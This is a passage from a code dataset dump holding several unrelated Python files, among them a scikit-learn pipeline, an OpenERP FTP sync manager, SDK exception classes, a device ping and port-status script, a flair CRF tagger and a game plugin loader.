ycols\n\n # Set numeric and non-numeric columns.\n numerics = set(df.select_dtypes([np.number]).columns)\n nonnumerics = xcols - numerics\n # xcols = xcols - set(['native-country'])\n xcols = list(xcols)\n idxnumerics = [xcols.index(col) for col in numerics]\n idxnonnumerics = [xcols.index(col) for col in nonnumerics]\n\n # Designate data.\n X = df.loc[:, xcols].values\n y = np.ravel(df.loc[:, ycols].values)\n\n # Split data.\n Xtrain, Xtest, ytrain, ytest = ms.train_test_split(X, y, test_size = 0.33\n ,random_state = 0)\n\n # Cross-validation.\n k = 3\n cvsplitter = ms.KFold(n_splits = k, shuffle = True, random_state = 0)\n\n # Apply a transformation for each column.\n transformers = list()\n transformers.append(('StandardScaler', pp.StandardScaler(), idxnumerics))\n transformers.append(('OneHotEncoder', pp.OneHotEncoder(sparse = False, drop = 'first', handle_unknown = 'ignore'), idxnonnumerics))\n ct = sc.ColumnTransformer(transformers, remainder = 'passthrough')\n ct.fit(Xtrain)\n Xtrain_transformed = ct.transform(Xtrain)\n print('Feature Names: {0}'.format(ct.get_feature_names_out()))\n\n # Use the transformer in a pipeline.\n estimators = list()\n estimators.append(('ColumnTransformer', sc.ColumnTransformer(transformers, remainder = 'passthrough')))\n estimators.append(('RandomForestClassifier', ensemble.RandomForestClassifier(n_estimators = 100, max_features = 3)))\n ppl = pl.Pipeline(estimators)\n accuracy = ms.cross_val_score(ppl, Xtrain, ytrain, cv = cvsplitter)\n print('Accuracy of pipeline: {0:.2f}'.format(accuracy.mean()))","sub_path":"templates/preproc_column_transformer.py","file_name":"preproc_column_transformer.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"334913465","text":"from openerp.osv import osv\nfrom openerp.tools.translate import _\nfrom openerp import pooler\n\nfrom ftplib import all_errors\nfrom StringIO import StringIO\nfrom datetime import datetime\nfrom threading import Lock\n\nfrom connection import lx_connection\nfrom auto_vivification import AutoVivification\nfrom file import lx_file\n\nfrom lx_data import lx_data\nfrom lx_purchase_order import lx_purchase_order\nfrom lx_sales_order import lx_sales_order\nfrom lx_product import lx_product\nfrom lx_return import lx_return\nfrom lx_stock import lx_stock\nfrom lx_picking import lx_picking\n\nlx_classes = [\n lx_purchase_order,\n lx_sales_order,\n lx_product,\n lx_return,\n lx_stock,\n lx_picking\n]\n\nclass lx_manager(osv.osv):\n \"\"\"\n Instantiates an FTP connection wrapper object and allows polling the LX1 FTP Server\n \"\"\"\n\n _columns = {}\n _name = 'lx.manager'\n _auto = False\n _lock = Lock()\n\n _file_process_order = [\n 'MVTS',# PO received\n 'CREX',# SO sent\n 'CRET',# return\n 'STOC',# physical inventory\n 'TEST',\n ]\n\n ftp_exceptions = all_errors\n \n def thread_lock(function):\n \"\"\" Aquire a thread lock before calling the function and release it afterwards \"\"\"\n \n def inner(self, *args, **kwargs):\n if not self._lock.acquire(False):\n raise osv.except_osv(_('Already Syncing'), _('We are already synchronizing with LX1. Please wait a moment before trying again...'))\n \n try:\n res = function(self, *args, **kwargs)\n except:\n raise\n finally:\n self._lock.release()\n return res\n \n return inner\n\n def connection(self, cr):\n \"\"\" Gets an instance of lx_connection class that wraps the FTP server \"\"\"\n return lx_connection(self.pool, cr)\n\n @thread_lock\n def poll(self, cr, uid=1):\n \"\"\"\n Poll the LX1 FTP server, download a file list and iterate over them by oldest first by \n file sequence number. For each file, download the contents and create a lx.file.incoming \n record, committing cursor in between files.\n \"\"\"\n \n files_processed = 0\n sync_id = False\n file_incoming_obj = self.pool.get('lx.file.incoming')\n sync_obj = self.pool.get('lx.sync')\n \n # get connection to FTP server\n with self.connection(cr) as conn:\n\n # get list of files and directories and remove any files that cannot be processed\n # then order files by file_sequence so they are processed in the correct order\n files_and_directories = conn.ls()\n files_and_directories = filter(lambda f: '.' in f, files_and_directories)\n files_to_process = map(lambda f: lx_file(f), files_and_directories)\n files_to_process = filter(lambda f: f.valid, files_to_process)\n files_to_process = filter(lambda f: f.to_process(), files_to_process)\n files_to_process.sort(key=lambda f: f.file_sequence)\n \n # return if there are no files to process\n if not files_to_process:\n return sync_id\n \n # Prepare values for lx.sync record\n sync_vals = {\n 'date': datetime.now(), \n 'log': [],\n }\n sync_id = sync_obj.create(cr, uid, sync_vals)\n cr.commit()\n new_cursor = False\n\n # Process files within try catch block and append errors to sync_vals\n try:\n for file_to_process in files_to_process:\n\n files_processed += 1\n file_name = file_to_process.file_name\n activity = 'processing file'\n\n # download file contents and create lx.file.incoming from it, then save ID in sync_vals \n try:\n activity = 'creating lx.file.incoming'\n file_contents = conn.download_data(file_name)\n \n # Convert latin encoding to utf\n file_contents = file_contents.decode('ISO-8859-1')\n \n vals = {\n\t\t\t\t\t\t\t'xml_file_name': file_name,\n 'xml': file_contents,\n 'sync_id': sync_id,\n }\n file_incoming_id = file_incoming_obj.create(cr, uid, vals)\n \n # delete the file we successfully processed\n activity = 'deleting file from ftp server'\n conn.rm(file_name)\n\n except Exception as e:\n sync_vals['log'].append('Error while %s for %s: %s' % (activity, file_name, unicode(e)))\n files_processed -= 1\n cr = pooler.get_db(cr.dbname).cursor()\n new_cursor = True\n \n finally:\n # commit the OpenERP cursor inbetween files\n cr.commit()\n \n finally:\n # update the sync log\n sync_obj.write(cr, uid, [sync_id], sync_vals)\n cr.commit()\n if new_cursor:\n cr.close()\n \n # * end with conn * #\n \n try:\n # trigger parse all files\n activity = 'parsing all files'\n file_incoming_obj.parse_all(cr, uid)\n \n # trigger creation of all lx.updates for files\n activity = 'generating all updates'\n file_incoming_obj.generate_all_updates(cr, uid)\n \n # trigger execution of all lx.updates for files\n activity = 'executing all updates'\n file_incoming_obj.execute_all_updates(cr, uid)\n \n except Exception as e:\n sync_vals['log'].append('Error while %s: %s' % (activity, unicode(e)))\n \n # update lx.sync record\n sync_obj.write(cr, uid, [sync_id], sync_vals)\n\n return sync_id\n\ndef get_lx_data_subclass(object_type):\n \"\"\" Finds a subclass of lx_data whose object_type matches @param object_type \"\"\"\n class_for_data_type = [cls for cls in lx_classes if object_type in cls.object_type]\n assert len(class_for_data_type) == 1, _('Should have found 1 class for data type %s' % object_type)\n return class_for_data_type[0]\n","sub_path":"manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"114981676","text":"# encoding: utf-8\n\"\"\"\noos exceptions\n\"\"\"\nimport re\nimport xml.etree.ElementTree as ElementTree\nfrom xml.parsers import expat\n\nfrom .compat import to_string\nfrom .content import *\nfrom .headers import *\n\n_OOS_ERROR_TO_EXCEPTION = {} # populated at end of module\n\n\nclass OosError(Exception):\n def __init__(self, status, headers, body, details):\n # HTTP 状态码\n self.status_code = status\n\n # 请求ID\n self.requeset_id = headers.get(OOS_REQUEST_ID, '')\n\n # HTTP body\n self.body = body\n\n # 详细错误信息,是一个string到string的dict\n self.details = details\n\n # OOS错误码\n self.error_code = self.details.get('Code', '')\n\n # OOS错误信息\n self.message = self.details.get('Message', '')\n\n def __str__(self):\n error = {'status_code': self.status_code,\n OOS_REQUEST_ID: self.requeset_id,\n 'details': self.details}\n return str(error)\n\n def _str_with_body(self):\n error = {'status_code': self.status_code,\n OOS_REQUEST_ID: self.requeset_id,\n 'details': self.body}\n return str(error)\n\n\nif hasattr(ElementTree, 'ParseError'):\n ElementTreeParseError = (ElementTree.ParseError, expat.ExpatError)\nelse:\n ElementTreeParseError = (expat.ExpatError)\n\n\ndef _guess_error_details(body):\n details = {}\n body = to_string(body)\n\n if '' not in body or '' not in body:\n return details\n\n m = re.search('(.*)', body)\n if m:\n details['Code'] = m.group(1)\n\n m = re.search('(.*)', body)\n if m:\n details['Message'] = m.group(1)\n\n return details\n\n\ndef _parse_error_body(body):\n try:\n root = ElementTree.fromstring(body)\n if root.tag != 'Error':\n return {}\n\n details = {}\n for child in root:\n details[child.tag] = child.text\n return details\n except ElementTreeParseError:\n return _guess_error_details(body)\n\n\ndef make_exception(resp):\n status = resp.status\n headers = resp.headers\n body = resp.read(4096)\n details = _parse_error_body(body)\n code = details.get('Code', '')\n\n try:\n klass = _OOS_ERROR_TO_EXCEPTION[(status, code)]\n return klass(status, headers, body, details)\n except KeyError:\n return ServerError(status, headers, body, details)\n\n\n\nclass ClientError(OosError):\n def __init__(self, message):\n OosError.__init__(self, OOS_CLIENT_ERROR_STATUS, {}, 'ClientError: ' + message, {})\n\n def __str__(self):\n return self._str_with_body()\n\n\nclass RequestError(OosError):\n def __init__(self, e):\n OosError.__init__(self, OOS_REQUEST_ERROR_STATUS, {}, 'RequestError: ' + str(e), {})\n self.exception = e\n\n def __str__(self):\n return self._str_with_body()\n\n\nclass InconsistentError(OosError):\n def __init__(self, message, request_id=''):\n OosError.__init__(self, OOS_INCONSISTENT_ERROR_STATUS, {OOS_REQUEST_ID : request_id}, 'InconsistentError: ' + message, {})\n\n def __str__(self):\n return self._str_with_body()\n\n\nclass OpenApiFormatError(OosError):\n def __init__(self, message):\n OosError.__init__(self, OOS_FORMAT_ERROR_STATUS, {}, message, {})\n\n def __str__(self):\n return self._str_with_body()\n\n\nclass OpenApiServerError(OosError):\n def __init__(self, status, request_id, message, error_code):\n OosError.__init__(self, status, {OOS_REQUEST_ID : request_id}, '', {'Code': error_code, 'Message': message})\n\n\nclass ServerError(OosError):\n pass\n\n\nclass NotFound(ServerError):\n status_code = 404\n error_code = ''\n","sub_path":"projects/oos/oos-python-sdk-ali/oos_ali/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"114230845","text":"\"\"\" A simple device status script for cockpit.\n\nThis script examines cockpit config. files, then reports\nthe host and port status for each remote device.\n\nCopyright 2015 Mick Phillips (mick.phillips at gmail dot com)\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport os\nimport platform\nimport re\nimport socket\n# Import device definitions from the config module.\nfrom config import config\n\nfrom six import iteritems\n\n# Strings used for IP address and port in config. files.\nIPSTR = 'ipaddress' # ConfigParser makes keys lower case\nPORTSTR = 'port'\nURISTR = 'uri'\n# String used to format output.\nFORMATSTR = '{:<20} {:>16} {:<8} {:<6}'\n# A list of special device types.\nIGNORELIST = ['server']\n\n\ndef ping(host):\n \"\"\"\n Returns True if host responds to a ping request.\n \"\"\"\n ping_str = \"-n 1\" if platform.system().lower()==\"windows\" else \"-c 1\"\n return os.system(\"ping \" + ping_str + \" \" + host) == 0\n\n\ndef testPort(host, port):\n \"\"\"\n Returns True if a port is open.\n \"\"\"\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n s.connect( (host, int(port)) )\n except socket.error:\n result = False\n else:\n result = True\n finally:\n s.close()\n return result\n\n# Mappings of device to hosts and ports.\ndeviceToHost = {}\ndeviceToPort = {}\n# Mappings of device to host and port statuses.\nhostsUp = {}\ndevicesUp = {}\n\nskipped = []\n\n# Iterate over config sections.\nfor s in config.sections():\n # Skip special devices.\n if s.lower() in IGNORELIST:\n skipped.append('skipped %s: in ingore list' % s)\n # Skip devices that don't have remotes.\n if not any(map(lambda x: x in config.options(s), [IPSTR, 'uri'])):\n skipped.append('skipped %s: no host or uri' % s)\n continue\n if 'uri' in config.options(s):\n uri = config.get(s, 'uri')\n match = re.match(r'(.*@)?(.*):([0-9]+)?', uri)\n if match is None:\n skipped.append('skipped %s: invalid uri; missing port?' % s)\n continue\n prefix, host, port = match.groups()\n else:\n host = config.get(s, IPSTR)\n try:\n port = config.get(s, PORTSTR)\n except:\n skipped.append('skipped %s: IP with no port' % s)\n continue\n # Extract remote details from config and store in dicts.\n deviceToHost[s] = host\n deviceToPort[s] = port\n\n\n# Iterate over the mappings to query host and port status.\nfor device, host in iteritems(deviceToHost):\n port = deviceToPort[device]\n if host not in hostsUp.keys():\n hostsUp[host] = 'up' if ping(host) else 'down'\n devicesUp[device] = 'open' if testPort(host, port) else 'closed'\n\n# Report.\nprint ('\\n\\n')\nprint (FORMATSTR.format('DEVICE', 'HOSTNAME', 'STATUS', 'PORT'))\nprint (FORMATSTR.format('======', '========', '======', '======'))\nfor device in sorted(deviceToHost.keys()):\n host = deviceToHost[device]\n port = deviceToPort[device]\n print (FORMATSTR.format(device, host, hostsUp[host], devicesUp[device]))\nprint ('\\n')\nfor s in skipped:\n print (s)\n","sub_path":"status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"435782261","text":"from flair.embeddings import TokenEmbeddings\nfrom flair.data import Dictionary\nfrom flair.models import SequenceTagger\nfrom flair.models.sequence_tagger_model import START_TAG, STOP_TAG\nimport numpy as np\nimport torch\nimport flair\n\nUNK_TAG: str = ''\n\nclass UnkTagger(SequenceTagger):\n\n def __init__(self,\n hidden_size: int,\n embeddings: TokenEmbeddings,\n tag_dictionary: Dictionary,\n tag_type: str,\n use_crf: bool = True,\n use_rnn: bool = True,\n rnn_layers: int = 1,\n dropout: float = 0.0,\n word_dropout: float = 0.05,\n locked_dropout: float = 0.5,\n pickle_module: str = 'pickle'\n ):\n\n super(UnkTagger, self).__init__(\n hidden_size,\n embeddings,\n tag_dictionary,\n tag_type,\n use_crf,\n use_rnn,\n rnn_layers,\n dropout,\n word_dropout,\n locked_dropout,\n pickle_module\n )\n\n #self.e = (0.1)**40\n self.e = 1. / np.finfo(np.float32).max\n self.unk_tag = self.tag_dictionary.get_idx_for_item(UNK_TAG)\n mask = self.get_trans_mask()\n self.valid_trans = torch.tensor(mask,\n dtype=self.transitions.dtype,\n device=flair.device)\n\n def get_trans_mask(self):\n mask = np.zeros((self.tagset_size,)*4)\n for bf in range(self.tagset_size):\n mask[self.unk_tag,bf,:,bf] = 1\n for c in range(self.tagset_size):\n mask[c,bf,c,bf] = 1\n for c in range(self.tagset_size):\n mask[c,self.unk_tag,c,:] = 1\n return mask\n\n def _score_sentence(self, feats, tags, lens_):\n\n init_alphas = torch.FloatTensor(self.tagset_size).fill_(-10000.)\n init_alphas[self.tag_dictionary.get_idx_for_item(START_TAG)] = 0.\n\n forward_var = torch.zeros(\n feats.shape[0],\n feats.shape[1] + 1,\n feats.shape[2],\n dtype=torch.float, device=flair.device)\n\n forward_var[:, 0, :] = init_alphas[None, :].repeat(feats.shape[0], 1)\n\n transitions = self.transitions.view(\n 1,\n self.transitions.shape[0],\n self.transitions.shape[1],\n ).repeat(feats.shape[0], 1, 1)\n\n '''\n #for debug\n tags[0,1] = self.unk_tag\n tags[0,lens_[0]-1] = self.unk_tag\n ##################\n '''\n\n start_tag = torch.full(\n (feats.shape[0], 1),\n self.tag_dictionary.get_idx_for_item(START_TAG),\n dtype=tags.dtype,\n device=flair.device)\n forward_tags = torch.cat([start_tag, tags], dim=1)\n masks = torch.stack([torch.stack([\n self.valid_trans[it[i+1],it[i]]\\\n for i in range(feats.shape[1])], dim=0)\n for it in torch.unbind(forward_tags, dim=0)], dim=0)\n\n '''\n #for debug\n for i in range(3):\n print('\\n{}th tags[0] {}:{} -> {}:{}'.format(\n i,\n forward_tags[0,i], self.tag_dictionary.get_item_for_index(forward_tags[0,i]),\n forward_tags[0,i+1], self.tag_dictionary.get_item_for_index(forward_tags[0,i+1])))\n for c,bf in zip(*np.where(masks[0,i].cpu().numpy())):\n print(' {}:{} -> {}:{}'.format(\n bf, self.tag_dictionary.get_item_for_index(bf),\n c, self.tag_dictionary.get_item_for_index(c)))\n ##################\n '''\n\n for i in range(feats.shape[1]):\n emit_score = feats[:, i, :]\n\n tag_var = \\\n emit_score[:, :, None].repeat(1, 1, transitions.shape[2]) + \\\n transitions + \\\n forward_var[:, i, :][:, :, None].repeat(1, 1, transitions.shape[2]).transpose(2, 1)\n\n max_tag_var, _ = torch.max(tag_var, dim=2)\n\n tag_var = tag_var - \\\n max_tag_var[:, :, None].repeat(1, 1, transitions.shape[2])\n\n '''\n #for debug\n if i < 3:\n print('\\n{}th torch.exp(tag_var[0])*masks[0] {}:{} -> {}:{}'.format(\n i,\n forward_tags[0,i], self.tag_dictionary.get_item_for_index(forward_tags[0,i]),\n forward_tags[0,i+1], self.tag_dictionary.get_item_for_index(forward_tags[0,i+1])))\n for c,bf in zip(*np.where((torch.exp(tag_var[0])*masks[0,i]).cpu().detach().numpy())):\n print(' {}:{} -> {}:{}'.format(\n bf, self.tag_dictionary.get_item_for_index(bf),\n c, self.tag_dictionary.get_item_for_index(c)))\n ##################\n '''\n\n result = (torch.sum(torch.exp(tag_var)*masks[:,i], dim=2)) + self.e\n\n '''\n for i in range(result.shape[0]):\n if (result[i] == 0).max():\n print(i)\n print(masks[i])\n\n assert not (result == 0).max()\n '''\n\n agg_ = torch.log(torch.sum(torch.exp(tag_var)*masks[:,i], dim=2) + self.e)\n\n cloned = forward_var.clone()\n cloned[:, i + 1, :] = max_tag_var + agg_\n\n forward_var = cloned\n\n forward_var = forward_var[range(forward_var.shape[0]), lens_, :]\n\n terminal_var = forward_var + \\\n self.transitions[self.tag_dictionary.get_idx_for_item(STOP_TAG)][None, :].repeat(\n forward_var.shape[0], 1)\n '''\n #for debug\n print('alpha[0] = {} if the last tag is else {}'.format(\n torch.log(torch.sum(torch.exp(terminal_var[0]))).detach(),\n terminal_var[0,forward_tags[0,lens_[0]]].detach()\n ))\n ##################\n '''\n\n '''\n for i in range(terminal_var.shape[0]):\n result = torch.sum(torch.exp(terminal_var[i])) + self.e\n assert not (result == 0).max()\n '''\n\n alpha = torch.stack([\n torch.log(torch.sum(torch.exp(terminal_var[i])) + self.e)\\\n if forward_tags[i, lens_[i]] == self.unk_tag\\\n else terminal_var[i,forward_tags[i, lens_[i]]]\n for i in range(terminal_var.shape[0])], dim=0)\n\n '''\n #for debug\n print('tags[0,lens_[0]-1] {}:{}, alpha[0] {}'.format(\n tags[0,lens_[0]-1],\n self.tag_dictionary.get_item_for_index(tags[0,lens_[0]-1]),\n alpha[0].detach()))\n #exit()\n ##################\n '''\n return alpha\n","sub_path":"fuzzy_crf/src/unk_debug_tagger.py","file_name":"unk_debug_tagger.py","file_ext":"py","file_size_in_byte":6874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"650988419","text":"\"\"\"\n4. Преобразовать слова «разработка», «администрирование», «protocol»,\n«standard» из строкового представления в байтовое и выполнить\nобратное преобразование (используя методы encode и decode).\n\"\"\"\n\ndef my_encode(ls):\n result = []\n for el in ls:\n result.append(el.encode('utf-8'))\n return result\n\ndef my_decode(ls):\n result = []\n for el in ls:\n result.append(el.decode('utf-8'))\n return result\n\nLS = ['paзpaбoткa', 'aдминиcтpиpoвaниe', 'protocol', 'standard']\n\nLS_B = my_encode(LS)\nprint(LS_B)\nprint(my_decode(LS_B))","sub_path":"Homeworks/1-04.py","file_name":"1-04.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"91293432","text":"import json\nimport os.path\nimport string\n\nDEFAULT_CONFIG = {\n \"connections\": {\n \"snoonet\": {\n \"network\": \"irc.snoonet.org\",\n \"port\": 6697,\n \"SSL\": True,\n \"user\": \"MHL2\",\n \"nick\": \"MHL2\",\n \"gecos\": \"A_D's anti mass highlight bot\",\n \"nsident\": \"MHL\",\n \"nspass\": \"MHLPassword\",\n \"admins\": [\"A_D!*@*\"],\n \"commands\": [],\n \"cmdprefix\": \"~\",\n \"channels\": \"\",\n \"adminchan\":\n \"#HeJustKeptTalkingInOneLongIncrediblyUnbrokenSentence\",\n \"global_nickignore\": [l for l in string.ascii_lowercase],\n \"global_maskignore\": \"\"\n },\n },\n\n \"debug\": True,\n}\n\n\nclass Config(dict):\n def __init__(self, name: str = \"config\"):\n super().__init__()\n self.name = name\n self.clear()\n self.update(DEFAULT_CONFIG)\n self.load(self.name)\n\n def load(self, name):\n if not os.path.exists(name + \".json\"):\n with open(name + \".json\", \"w\") as f:\n json.dump(DEFAULT_CONFIG, f, indent=2)\n\n with open(name + \".json\") as f:\n self.update(json.load(f))\n\n def save(self, name):\n with open(name) as f:\n json.dump(self, f, indent=2)\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"562920693","text":"for _ in range(int(input())):\n sum_a = 0\n sum_b = 0\n for _ in range(9):\n item_a, item_b = map(int, input().split())\n sum_a += item_a\n sum_b += item_b\n if(sum_a > sum_b):\n print(\"Yonsei\")\n elif(sum_a < sum_b):\n print(\"Korea\")\n else:\n print(\"Draw\")","sub_path":"OneDrive/바탕 화면/알고리즘/10000~11000/10214.py","file_name":"10214.py","file_ext":"py","file_size_in_byte":306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593092613","text":"from PyQt4 import QtCore\nfrom PyQt4 import QtGui\nfrom src import Voltmeter\nfrom src import Control\nfrom src import Terminal\nfrom PyQt4.QtCore import pyqtSlot,SIGNAL,SLOT\nfrom src import BusPirate\nimport sys\n\nclass GUI:\n def __init__(self, pirate):\n app = QtGui.QApplication(sys.argv)\n tabs = QtGui.QTabWidget()\n tabs.setFixedSize(800, 400)\n tabs.move(300, 300)\n buttons = QtGui.QButtonGroup() #I want the radio-button effect to occur application wide\n buttons.setExclusive(True)\n \n self.control = Control.Control(pirate,buttons)\n tabs.addTab(self.control,\"Control\")\n self.voltmeter = Voltmeter.Voltmeter(pirate,buttons)\n tabs.addTab(self.voltmeter,\"Voltmeter\")\n self.terminal = Terminal.Terminal(pirate,buttons)\n tabs.addTab(self.terminal,\"Terminal\")\n \n tabs.setWindowTitle('BusPirate GUI')\n tabs.show()\n sys.exit(app.exec_())\n \n def combo(self, text):\n print(text)\n \n \n'''\n1 = HiZ\n2 = 1WIRE\n3 = UART - baud, data/parity, stop, receive, output\n Opens a terminal allowing I/O\n Converter allowing dec,bin,hex conversion\n4 = I2C - speed\n Read/Write registers\n Converter allowing dec,bin,hex conversion\n5 = SPI - speed, clock, edge, sample, cs, output\n6 = 2WIRE - speed,output\n7 = 3WIRE - speed, CS, output\n8 = LCD - don't use\n9 = DIO\n ADC\n sample, scope\n Frequency\n sample, continues\n PWM\n %dial\n Servo\n angle dial\n states\n'''","sub_path":"src/GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"246880736","text":"# coding=UTF-8\n'''游戏插件管理模块\n'''\n\n__author__ = ['Wang Tao', 'Zhou Hao']\n\nimport importlib\nimport sys\n\nimport freetime.util.log as ftlog\nfrom freetime.entity.msg import MsgPack\nfrom freetime.util.log import catchedmethod\nfrom poker.entity.configure import configure\nfrom poker.entity.configure import gdata\nfrom poker.protocol import router\n\n_DEBUG = 1\ndebug = ftlog.info\n\n\nclass TYPluginUtils(object):\n @classmethod\n def updateMsg(cls, msg=None, cmd=None, params=None, result=None, **other):\n if not msg:\n msg = MsgPack()\n if cmd:\n msg.setCmd(cmd)\n if params is not None:\n msg.setKey('params', params)\n if result is not None:\n msg.setKey('result', result)\n\n for k, v in other.items():\n msg.setKey(k, v)\n\n return msg\n\n @classmethod\n def mkdict(cls, **kwargs):\n return kwargs\n\n @classmethod\n def sendMessage(cls, gameId, targetUserIds, cmd, result, logInfo=True):\n if isinstance(targetUserIds, int):\n targetUserIds = [targetUserIds]\n msg = cls.updateMsg(cmd=cmd, result=result)\n msg.setResult('gameId', gameId)\n if logInfo:\n if _DEBUG:\n debug('|to targetUserIds:', targetUserIds, '|msg:', msg, caller=cls)\n else:\n ftlog.debug('|to targetUserIds:', targetUserIds, '|msg:', msg, caller=cls)\n router.sendToUsers(msg, targetUserIds)\n\n @classmethod\n def makeHandlers(cls, handlerClass, events):\n ''' ['EV_GAME_INIT'] => {'EV_GAME_INIT': handlerClass.EV_GAME_INIT}'''\n return dict([(ev, getattr(handlerClass, ev)) for ev in events])\n\n\nclass TYPlugin(object):\n def __init__(self, gameId, cfg):\n ftlog.info('TYPlugin << |gameId, cfg:', gameId, cfg, caller=self)\n self.gameId = gameId\n self.name, self.module_name, self.class_name, self.object_name = (\n cfg['name'], cfg['module'], cfg.get('class'), cfg.get('object'))\n\n old_mod = sys.modules.get(self.module_name)\n if old_mod:\n del sys.modules[self.module_name]\n self.old_mod = old_mod\n self.module = importlib.import_module(self.module_name)\n reload(self.module)\n\n if self.object_name:\n self.object = getattr(self.module, self.object_name)(gameId)\n self.handlers = getattr(self.object, cfg['handle'])(gameId) or {}\n else:\n self._class = getattr(self.module, self.class_name)\n self.handlers = getattr(self._class, cfg['handle'])(gameId) or {}\n\n ftlog.info('TYPlugin |', 'handler:', self.name, 'loaded:', cfg,\n 'old_mod:', id(old_mod), old_mod, 'new_mod:', id(self.module),\n 'module:', self.module, 'events:', self.handlers.keys(),\n caller=self\n )\n # if not self.handlers:\n # raise Exception(\"no handlers: name: %s\" % self.name)\n\n @catchedmethod\n def onReload(self):\n if hasattr(self.module, 'onReload'):\n ftlog.info(\"TYPlugin.onReload >>|plugin name:\", self.name)\n self.module.onReload(self.gameId, self.old_mod)\n delattr(self, 'old_mod')\n elif hasattr(self.module, 'onReloadNew'):\n ftlog.info(\"TYPlugin.onReloadNew >>|plugin name:\", self.name)\n self.module.onReloadNew(self.gameId, self.object)\n\n def __str__(self):\n return '' % (\n self.name, id(self), self.handlers.keys())\n\n def __repr__(self):\n return self.__str__()\n\n\nclass TYPluginCenter(object):\n plugins = {} # key: gameId, value {name: TYPluginObj}\n config_reload_flag = {} # key: gameId, value: last reaload configure uuid(default None)\n map_events = {} # key: gameId; value: {event1: [handler1, handler2, ...], evnet2: [handler1, handler2, ...]}\n\n EV_CHAIN_STOP = 'EV_CHAIN_STOP' # handler 函数返回此值,表示中断事件链执行\n\n @classmethod\n def event(cls, msg, gameId):\n \"\"\" 发布事件 \"\"\"\n if gameId not in cls.map_events:\n return msg\n\n # cls.map_events = {\n # 8: {\"EV_PLAYER_GAME_FRAME_END\": [(\"Winner\", onEvPlayerGameFrameEnd), (\"Shark\",onEvPlayerGameFrameEnd)]},\n # 30: {}\n # }\n\n cmd = msg.getCmd()\n action = msg.getParam('action')\n ev = (cmd, action) if action else cmd\n receiver_plugins = msg.getKey('receiver_plugins') or []\n for plugin_name, handler in cls.map_events[gameId].get(ev, []):\n if receiver_plugins and plugin_name not in receiver_plugins:\n continue\n if _DEBUG:\n debug('TYPluginCenter.event| run handler <<|gameId, ev, plugin:', gameId, ev, plugin_name)\n try:\n if handler(gameId, msg) == cls.EV_CHAIN_STOP:\n if _DEBUG:\n debug('TYPluginCenter.event| chain break |gameId, ev, plugin:', gameId, ev, plugin_name)\n return msg\n except:\n ftlog.exception()\n if _DEBUG:\n debug('TYPluginCenter.event| run handler >>|gameId, ev, plugin:', gameId, ev, plugin_name)\n\n return msg\n\n @classmethod\n def evmsg(cls, gameId, cmd, params=None, result=None, receivers=None):\n msg = TYPluginUtils.updateMsg(cmd=cmd, params=params, result=result,\n receiver_plugins=receivers)\n return cls.event(msg, gameId)\n\n @classmethod\n def get_plugin(cls, name, gameId):\n return cls.plugins.get(gameId, {}).get(name)\n\n @classmethod\n @catchedmethod\n def reload(cls, gameId, handler_name='', handler_names=[], handlers_config=None):\n '''\n reload 某个 gameId 的插件\n\n @handlers_names: 指定要reload哪些plugin。不指定就reload所有(plugins越来越多,会比较慢)\n\n 不管有没有指定 reload 哪些插件,都会重新 build 事件表。\n 为什么不优化为只处理指定的plugins的事件?\n 没有必要,性能瓶颈不在这,而且全部重新build一定不会出问题,而且的而且,那样做会增加复杂性。\n '''\n\n if not cls.needLoadPlugin():\n ftlog.info('reload >> |this type of server not need load plugin',\n '|serverId, gameId:', gdata.serverId(), gameId, caller=cls)\n return\n\n if cls.isOtherGameServer(gameId):\n ftlog.info('reload >> |', 'do not reload in other game GR/GT',\n '|serverId, gameId:', gdata.serverId(), gameId, caller=cls)\n return\n\n if not handlers_config:\n handlers_config = configure.getGameJson(gameId, 'plugins', {})\n if not handlers_config:\n return\n # handlers_config = dict([(hc['name'], hc) for hc in handlers_config])\n handlers_config_dict = dict([(hc['name'], hc) for hc in handlers_config['handlers']])\n ftlog.info('<< |', cls.plugins, handlers_config, caller=cls)\n\n if handler_name:\n handler_names = [handler_name]\n\n handlers_config_list = [] # to be reload\n cls.map_events[gameId] = {} # 事件表\n if handler_names:\n for handler_name in handler_names:\n if handler_name in handlers_config_dict:\n handlers_config_list.append(handlers_config_dict.get(handler_name))\n if handler_name in cls.plugins[gameId]:\n del cls.plugins[gameId][handler_name]\n else:\n handlers_config_list = handlers_config['handlers']\n cls.plugins[gameId] = {} # plugins 表\n\n # 先 reload modules\n plugins = cls.plugins[gameId]\n reloadPlugins = []\n for cfg in handlers_config_list:\n try:\n plugin = TYPlugin(gameId, cfg)\n if plugin.handlers:\n plugins[cfg['name']] = plugin\n reloadPlugins.append(plugin)\n except Exception as e:\n ftlog.exception(e)\n\n cls.buildEventMap(gameId, plugins, handlers_config, cls.map_events[gameId])\n\n ftlog.info(\"TYPluginCenter.reload | \"\n \"reloadPlugins:\", [plugin.name for plugin in 